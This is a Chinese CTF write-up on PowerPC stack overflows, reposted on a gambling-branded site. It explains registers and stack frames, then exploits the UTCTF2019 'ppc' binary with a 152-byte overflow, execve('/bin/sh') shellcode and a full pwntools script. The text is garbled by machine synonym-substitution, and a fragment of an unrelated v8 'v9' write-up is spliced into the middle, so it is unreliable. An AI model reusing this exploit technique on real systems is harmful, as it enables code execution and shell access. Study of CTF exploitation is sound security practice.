PowerPC栈溢出初探:从摒弃到getshell | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

PowerPC栈溢出初探:从摒弃到getshell

申博_安全预警 申博 113次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

PowerPC

之前打仗的pwn题一样平常都是x86架构,少数arm和mips,前段时候一场外洋的竞赛涌现了一道PowerPC的问题,关于PowerPC架构的问题照样第一次碰到,借此机会整顿一下相干的材料。

维基百科PowerPC条目

PowerPC)英语:Performance Optimization With Enhanced RISC – Performance Computing,偶然简称PPC)是一种精简指令集)RISC)架构的中央处置惩罚器)CPU),其基础的设想源自IBM的POWER)Performance Optimized With Enhanced RISC;《IBM Connect电子报》2007年8月号译为“加强RISC机能优化”)架构。POWER是1991年,Apple、IBM、Motorola组成的AIM同盟所发展出的微处置惩罚器架构。PowerPC是全部AIM同盟平台的一局部,并且是到目前为止独一的一局部。但苹果电脑自2005年起,将旗下电脑产物转用Intel CPU。

指令集

寄存器

PPC运用RISC精简指令集,指令字长都是32bit,4字节对齐。PPC和IA32 CPU的分歧点在于其界说了大批的通用寄存器,这个和ARM和X64有点相似。

序号 寄存器 功用
1 GPR0-GPR31(共32个寄存器) 整数运算和寻址通用寄存器.在ABI范例中,GPR1用于客栈指针,GPR3-GPR4用于函数返回值,GPR3-GPR10用于参数通报
2 FPR0-FPR31(共32个寄存器) 用于浮点运算。PPC32和PPC64的浮点数都是64位
3 LR 衔接寄存器,纪录转跳地点,经常使用于纪录子顺序返回的地点。
4 CR 条件寄存器。
5 XER 特别寄存器,纪录溢出和进位标记,作为CR的增补
6 CTR 计数器,用处相当于ECX
7 FPSCR 浮点状况寄存器,用于浮点运算范例的异常纪录等,可设置浮点异常捕捉掩码

PowerPC ABI 中的寄存器被划分红 3 种基础范例:专用寄存器易失性寄存器非易失性寄存器

专用寄存器 是那些有预界说的永远功用的寄存器,比方客栈指针(r1)和 TOC 指针(r2)。r3 到 r12 是易失性寄存器,这意味着任何函数都可以或许自由地对这些寄存器举行修正,而不消规复这些寄存器之前的值。而r13及其之上的寄存器都是非易失性寄存器。这意味着函数可以或许运用这些寄存器,条件是从函数返回之前这些寄存器的值已被规复。因而,在函数中运用非易失性寄存器之前,它的值必需生存到该函数的客栈帧中,然后在函数返回之前规复。

CR寄存器用于反应运算效果、跳转推断条件等,分为以下8组。

CR0 CR1 CR2 CR3 CR4 CR5 CR6 CR7
0-3 4-7 8-11 12-15 16-19 20-23 24-27 28-31

每组4位,离别为LT(小于)、GT(大于)、EQ(即是)、S0(Summary ovweflow)。CR0默许反应整数运算效果,CR1默许反浮点数运算效果。S0是XER寄存器S0位的拷贝。关于对照指令,很轻易明白LT、GT、EQ的寄义,关于算数运算指令,效果为负数则为LT,正数为GT,0为EQ。

PowerPC 体系组织自身支撑字节(8 位)、半字(16 位)、字(32 位) 和双字(64 位) 数据范例,为轻易起见,和IA32做个对照。见下表:

PPC 字长(BITS) 简称 IA32
BYTE 8 B BYTE
HALF WORD 16 H WORD
WORD 32 W DWORD
DWORD 64 D QWORD

通用寄存器

寄存器 申明
r0 在函数最先(function prologs)时运用。
r1 客栈指针,相当于IA32中的esp寄存器,IDA把这个寄存器反汇编标识为sp。
r2 内容表(toc)指针,IDA把这个寄存器反汇编标识为rtoc。体系挪用时,它包罗体系挪用号。
r3 作为第一个参数和返回值。
r4-r10 函数或体系挪用最先的参数,局部情况下r4寄存器也会作为返回值运用。
r11 用在指针的挪用和看成一些言语的情况指针。
r12 它用在异常处置惩罚和glink(动态衔接器)代码。
r13 生存作为体系线程ID。
r14-r31 作为本地变量,非易失性。

专用寄存器

寄存器 申明
lr 链接寄存器,它用来寄存函数挪用完毕处的返回地点。。
ctr 计数寄存器,它用来看成轮回计数器,会随特定转移操纵而递减。
xer 定点异常寄存器,寄存整数运算操纵的进位和溢出信息。
msr 机械状况寄存器,用来设置装备摆设微处置惩罚器的设定。
cr 条件寄存器,它分红8个4位字段,cr0-cr7,它反应了某个算法操纵的效果并且提供条件分支的机制。

寄存器r1、r14-r31黑白易失性的,这意味着它们的值在函数挪用历程连结稳定。寄存器r2也算非易失性,然则只需在挪用函数在挪用后必需规复它的值时才被处置惩罚。

寄存器r0、r3-r12和特别寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数挪用历程中会发作变化。另外寄存器r0、r2、r11和r12可以或许会被交织模块挪用转变,以是函数在挪用的时刻不克不及接纳它们的值。

条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4黑白易失性的,函数若是要转变它们必需生存并规复这些字段。

异常处置惩罚器

整数异常寄存器XER是一个特别功用寄存器,它包罗一些对增添盘算精度有效的信息和失足信息。XER的花样以下:

寄存器 申明
SO 整体溢出标记 一旦有溢出位OV置位,SO就会置位。
OV 溢出标记 当发作溢出时置位,不然清零;在作乘法或除法运算时,若是效果凌驾寄存器的表达局限,则溢出置位。
CA 进位标记 当最高位发生进位时,置位,不然清零;扩大精度指令(后述)可以或许用CA作为操纵符介入运算。

经常使用指令

li REG, VALUE

加载寄存器 REG,数字为 VALUE

add REGA, REGB, REGC

将 REGB 与 REGC 相加,并将效果存储在 REGA 中

addi REGA, REGB, VALUE

将数字 VALUE 与 REGB 相加,并将效果存储在 REGA 中

mr REGA, REGB

将 REGB 中的值复制到 REGA 中

or REGA, REGB, REGC

对 REGB 和 REGC 实行逻辑 “或” 运算,并将效果存储在 REGA 中

ori REGA, REGB, VALUE

对 REGB 和 VALUE 实行逻辑 “或” 运算,并将效果存储在 REGA 中

and, andi, xor, xori, nand, nand, and nor

其他一切此类逻辑运算都遵照与 “or” 或 “ori” 雷同的情势

ld REGA, 0(REGB)

运用 REGB 的内容作为要载入 REGA 的值的内存地点

lbz, lhz, and lwz

它们均接纳雷同的花样,但离别操纵字节、半字和字(“z” 透露表现它们还会消灭该寄存器中的其他内容)

b ADDRESS

跳转(或转移)到地点 ADDRESS 处的指令

bl ADDRESS

对地点 ADDRESS 的子例程挪用

cmpd REGA, REGB

对照 REGA 和 REGB 的内容,并恰本地设置状况寄存器的列位

beq ADDRESS

若之前对照过的寄存器内容同等,则跳转到 ADDRESS

bne, blt, bgt, ble, and bge

它们均接纳雷同的情势,但离别搜检不等、小于、大于、小于即是和大于即是

std REGA, 0(REGB)

运用 REGB 的地点作为生存 REGA 的值的内存地点

stb, sth, and stw

它们均接纳雷同的花样,但离别操纵字节、半字和字

34c3 v9 writeup

环境搭建 https://github.com/saelo/v9 mkdir v9 && cd v9
fetch v8 && cd v8 # see https://github.com/v8/v8/wiki/Building-from-Source
git checkout 6.3.292.48
gclient sync
patch -p1 < /path/to/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug exploit 工具类准备 这部分就是一些可复用的代码。 String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the hexadecimal representation of the

sc

对内核举行体系挪用

寄存器透露表现法
一切盘算值的指令均以第一个操纵数作为目的寄存器。在一切这些指令中,寄存器都仅用数字指定。比方,将数字 12 载入寄存器 5 的指令是li 5,12。5 透露表现一个寄存器,12 透露表现数字 12,缘由在于指令花样(因为li第一个操纵数就是寄存器,第2个是马上数)。在某些指令中,GPR0 只是代表数值 0,而不会去查找 GPR0 的内容。

马上指令
i完毕的指令通常是马上指令。li 透露表现“马上装入”,它是透露表现“在编译时猎取已知的常量值并将它存储到寄存器中”的一种要领。

助记符
li实际上不是一条指令,它真正的寄义是助记符。 助记符有点象预处置惩罚器宏:它是汇编顺序接收的但隐秘转换成别的指令的一条指令。上面提到的li 5,12 实际上被界说为addi 5,0,12

指令缩写

•st = store
•ld = load
•r = right
•l = left 或许 logical
•h = half word
•w = word
•d = dword
•u = update
•m = move
•f = from 或许 field
•t = to 或许 than
•i = Immediate
•z = zero
•b = branch
•n = and
•s = shift 左移16位
•cmp = compare
•sub = subtract
•clr = clear
•cr = condition register
•lr = link register
•ctr = couter register

指令集内容对照多,不一一列举,实际运用时,还很多查查手册。

栈帧组织

栈的概念在PPC等CPU中,不是由CPU完成的,而是由编译器珍爱的。通常情况下,在PPC中栈顶指针寄存器运用r1,栈底指针寄存器运用r11或r31。或许r11为栈顶,其他为栈底。依据分歧的编译选项和编译器情况,其运用体式格局都有分歧,但各个编译器的共鸣为r1是帧栈指针,其他寄存器都可依据他为准天真运用。函数的返回值对照简朴,在PPC下,函数的返回值只用r3和r4寄存器,不会运用其他寄存器,就像IA32中只运用eax和edx寄存器一样。

PowerPC寄存器没有专用的Pop,Push指令来实行客栈操纵,以是PowerPC构架运用存储器接见指令stwu,lwzu来替代Push和Pop指令。PowerPC处置惩罚器运用GPR1来将这个客栈段组成一个单向链表,这个单链表的每一个数据成员,我们称之为客栈帧(Stack Frame),每一个函数卖力珍爱本身的客栈帧。

PowerPC栈溢出初探:从摒弃到getshell

函数参数域(Function Parameter Area):这个地区的巨细是可选的,即若是若是挪用函数通报给被挪用函数的参数少于六个时,用GPR4至GPR10这个六个寄存器就可以或许了,被挪用函数的栈帧中就不须要这个地区;但若是通报的参数多于六个时就须要这个地区。

局部变量域(Local Variables Area):通上所示,若是暂时寄存器的数目不足以提供给被挪用函数的暂时变量运用时,就会运用这个域。

CR寄存器:纵然修正了CR寄存器的某一个段CRx(x=0至7),都有生存这个CR寄存器的内容。

通用寄存器GPR:当须要生存GPR寄存器中的一个寄存器器GPRn时,就须要把从GPRn到GPR31的值都生存到客栈帧中。

浮点寄存器FPR:运用划定规矩共GPR寄存器。

每一个C函数最先几行汇编会为本身竖立客栈帧:

mflr %r0                ;Get Link register
stwu %r1,-88(%r1)       ;Save Back chain and move SP(r1) = r1 – 88
stw %r0,+92(%r1)        ;Save Link register
stmw %r28,+72(%r1)      ;Save 4 non-volatiles r28-r31

C函数的末端几行,会移除竖立的客栈帧,并使得SP(即GPR1)寄存器指向上一个栈帧的栈顶(即栈帧的最低地点处,也就是back chain)

lwz %r0,+92(%r1)       ;Get saved Link register
mtlr %r0               ;Restore Link register
lmw %r28,+72(%r1)      ;Restore non-volatiles
addi %r1,%r1,88        ;Remove sp frame from stack r1 = r1 + 88
blr                    ;Return to calling function

实战 UTCTF2019 PPC

例牌搜检一下ELF文件

[*] '/home/kira/pwn/utctf/ppc'
    Arch:     powerpc64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments

ida7.0没有PowerPC的反汇编功用,直接看汇编照样有点费劲,可以或许试一下前段时候宣布的Ghidra。搜刮main函数,可以或许看到Ghidra的反汇编功用异常壮大。

void main(void)

{
  size_t sVar1;
  size_t __edflag;
  int local_20;

                    /* local function entry for global function main at 10000a78 */
  welcome();
  get_input();
  sVar1 = .strlen(buf);
  local_20 = 0;
  while (local_20 < (int)sVar1) {
    buf[(longlong)local_20] = buf[(longlong)local_20] ^ 0xcb;
    local_20 = local_20 + 1;
  }
  __edflag = sVar1;
  __printf(&DAT_1009ed68);
  .encrypt((char *)(longlong)(int)sVar1,__edflag);
  .puts("Exiting..");
                    /* WARNING: Subroutine does not return */
  .exit(1);
}

void get_input(void)

{
                    /* local function entry for global function get_input at 10000c8c */
  .puts("Enter a string");
  .fgets(buf,1000,(FILE *)stdin);
  return;
}

get_input()函数经由过程fgets读入1000字节到buf,然后用strlen盘算输入字符的长度,然后输入内容跟0xcb异或。目前为止,并没有甚么破绽,真正出问题的处所在encrypt()

void .encrypt(char *__block,int __edflag)

{
  int local_90;
  byte abStack136 [104];
  undefined4 local_20;

                    /* local function entry for global function encrypt at 10000bb4 */
  local_20 = SUB84(__block,0);
  .memcpy(abStack136,buf,1000);
  __printf("Here\'s your string: ");
  local_90 = 0;
  while (local_90 < 0x32) {
    __printf(&DAT_1009edf8,(longlong)(int)(uint)abStack136[(longlong)local_90]);
    local_90 = local_90 + 1;
  }
  .putchar(10);
  return;
}

函数会将buf的内容经由过程memcpy复制到栈上,而abStack136只需104字节,很明显存在一个栈溢出破绽。因为顺序甚么珍爱都没开,最简朴的应用要领给x86的思绪差不多,栈溢出掩盖返回地点,跳到可控内存段实行shellcode。顺序对输入内容举行异或,处置惩罚要领有两个:1、将payload先举行一次异或再发送;2、strlen可以或许被\x00截断,截断后的内容不会经由异或。

  • 栈溢出第一步,先肯定溢出长度

静态剖析汇编

.text:0000000010000BBC .set sender_lr,  0x10
...
.text:0000000010000BDC                 addi      r10, r2, (buf_0 - 0x100D7D00)
.text:0000000010000BE0                 addi      r9, r31, 0x68  ; abStack136
.text:0000000010000BE4                 mr        r8, r10
.text:0000000010000BE8                 li        r10, 0x3E8
.text:0000000010000BEC                 mr        r5, r10
.text:0000000010000BF0                 mr        r4, r8
.text:0000000010000BF4                 mr        r3, r9
.text:0000000010000BF8                 bl        memcpy_0
...
.text:0000000010000C6C                 addi      r1, r31, 0xF0
.text:0000000010000C70                 ld        r0, sender_lr(r1)
.text:0000000010000C74                 mtlr      r0
.text:0000000010000C78                 ld        r31, var_8(r1)
.text:0000000010000C7C                 blr

起首看到memcpy(abStack136,buf,1000)对应的汇编,r3为参数一的abStack136,往上跟,不难发明abStack136r31+0x68的地位。再看到函数完毕前规复LR的汇编码,r0为贮存LR的地位,为r31+0xf0+0x10

用gdb动态调试,也可以或许剖析出一样的效果。跟arm,mips相似,运用qemu举行调试。直接在encrypt完毕处下一个断点。

0x10000c6c <encrypt+184>    addi   r1, r31, 0xf0
   0x10000c70 <encrypt+188>    ld     r0, 0x10(r1)
►  0x10000c74 <encrypt+192>    mtlr   r0
   0x10000c78 <encrypt+196>    ld     r31, -8(r1)
   0x10000c7c <encrypt+200>    blr

同时检察栈,查找我们输入的一大串’0xaaaaaaaaaa’

pwndbg> stack 100
00:0000│ r31 sp  0x40007fff50 —▸ 0x4000800040 ◂— 0x0
01:0008│         0x40007fff58 ◂— 0x0
02:0010│         0x40007fff60 —▸ 0x10000c64 (encrypt+176) ◂— nop
03:0018│         0x40007fff68 ◂— 0x0
04:0020│         0x40007fff70 ◂— 0x1c
05:0028│         0x40007fff78 ◂— 0x0
06:0030│         0x40007fff80 ◂— 0x1
07:0038│         0x40007fff88 ◂— 0x20 /* ' ' */
08:0040│         0x40007fff90 —▸ 0x1009edfb ◂— 0x746e450000000000
09:0048│         0x40007fff98 ◂— 0x0
... ↓
0b:0058│         0x40007fffa8 —▸ 0x40007fffb0 ◂— 0x32 /* '2' */
0c:0060│         0x40007fffb0 ◂— 0x32 /* '2' */
0d:0068│         0x40007fffb8 ◂— 0xaaaaaaaaaaaaaaaa  # 输入的内容
... ↓
10:0080│         0x40007fffd0 ◂— 0xc1aaaaaa
11:0088│         0x40007fffd8 ◂— 0x0

那末LR的偏移为0xf0+0x10-0x68=152,只需添补152字节就可以或许掩盖LR

固然,也可以或许用最粗犷的报错要领举行爆破溢出长度,道理跟x86的相似,输入一串超长的字符串,经由过程报错时视察LR的值,肯定溢出长度

# kira @ k1r4 in ~/pwn/utctf on git:master x [9:22:41]
$ python -c "print ('a'*152)"|./ppc
This is the UT encryption service.
We take your strings and make them into other strings!
Enter a string
153
Here's your string: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa
Invalid data memory access: 0x00000000000000c0
NIP 00000000000000c0   LR 00000000000000c1 CTR 0000000010014870 XER 0000000020000000 CPU#0
MSR 8000000002806001 HID0 0000000000000000  HF 8000000002806001 idx 0
# kira @ k1r4 in ~/pwn/utctf on git:master x [9:22:58] C:139
$ python -c "print ('a'*160)"|./ppc
This is the UT encryption service.
We take your strings and make them into other strings!
Enter a string
161
Here's your string: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa
Invalid data memory access: 0x0000000000000000
NIP aaaaaaaaaaaaaaa8   LR aaaaaaaaaaaaaaaa CTR 0000000010014870 XER 0000000020000000 CPU#0
MSR 8000000002806001 HID0 0000000000000000  HF 8000000002806001 idx 0

注意LR的报错信息,当输入长度152时(请疏忽谁人换行符),LR未被掩盖,而输入长度160时,LR已被我们输入掩盖了。那末可以或许肯定溢出长度为152。

  • 下一步,我们须要寻觅一个可控的内存段寄存shellcode,并且地点必需可知。

这一步没花太多时候,因为在顺序独一一次读取输入的处所,可以或许发明寄存输入的buf是一个bss段的全局变量,顺序没开PIE,地点可知。

.bss:00000000100D2B40                 .globl buf_0
.bss:00000000100D2B40 buf_0:          .space 1                # DATA XREF: main_0+20↑o
.bss:00000000100D2B40                                         # main_0+44↑o ...
  • 如今可以或许最先举行shellcode编写

ppc的shellcode跟x86没甚么差异,终究目的一样是execve("/bin/sh", 0, 0),组织条件以下:

  1. r0为syscall挪用号,须要设为0xb
  2. r3为参数一,须要指向/bin/sh
  3. r4为参数二,需清0
  4. r5为参数三,需清0
  5. 在ppc中syscall运用sc

shellcode编写须要上面提到的种种指令集,一直查阅后终究写出shellcode,终究写出的shellcode以下:

xor 3,3,3
lis 3, 0x100d
addi 3, 3, 0x2b64
xor 4,4,4
xor 5,5,5
li 0, 11
sc
.long 0x6e69622f
.long 0x68732f

为了绕过异或,我直接在payload前面加了8字节的\x00,因而背面用的种种地点都须要+8。

完全exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'DEBUG'
target = 'ppc'
p = process('./'+target)

shellcode = asm("""
xor 3,3,3   
lis 3, 0x100d  
addi 3, 3, 0x2b64
xor 4,4,4
xor 5,5,5
li 0, 11
sc
.long 0x6e69622f
.long 0x68732f
""")

rop = p64(0) + shellcode
rop = rop.ljust(152,'A')
rop += p64(0x100D2B40+8)

p.sendlineafter('string\n',rop)
p.interactive()

PowerPC栈溢出初探:从摒弃到getshell

总结

虽然是最简朴的栈溢出+shellcode编写,不外因为PowerPC打仗太少,照样花了很多时候举行材料网络和研讨,终究做出来也对PowerPC熟习了很多。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明PowerPC栈溢出初探:从摒弃到getshell
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址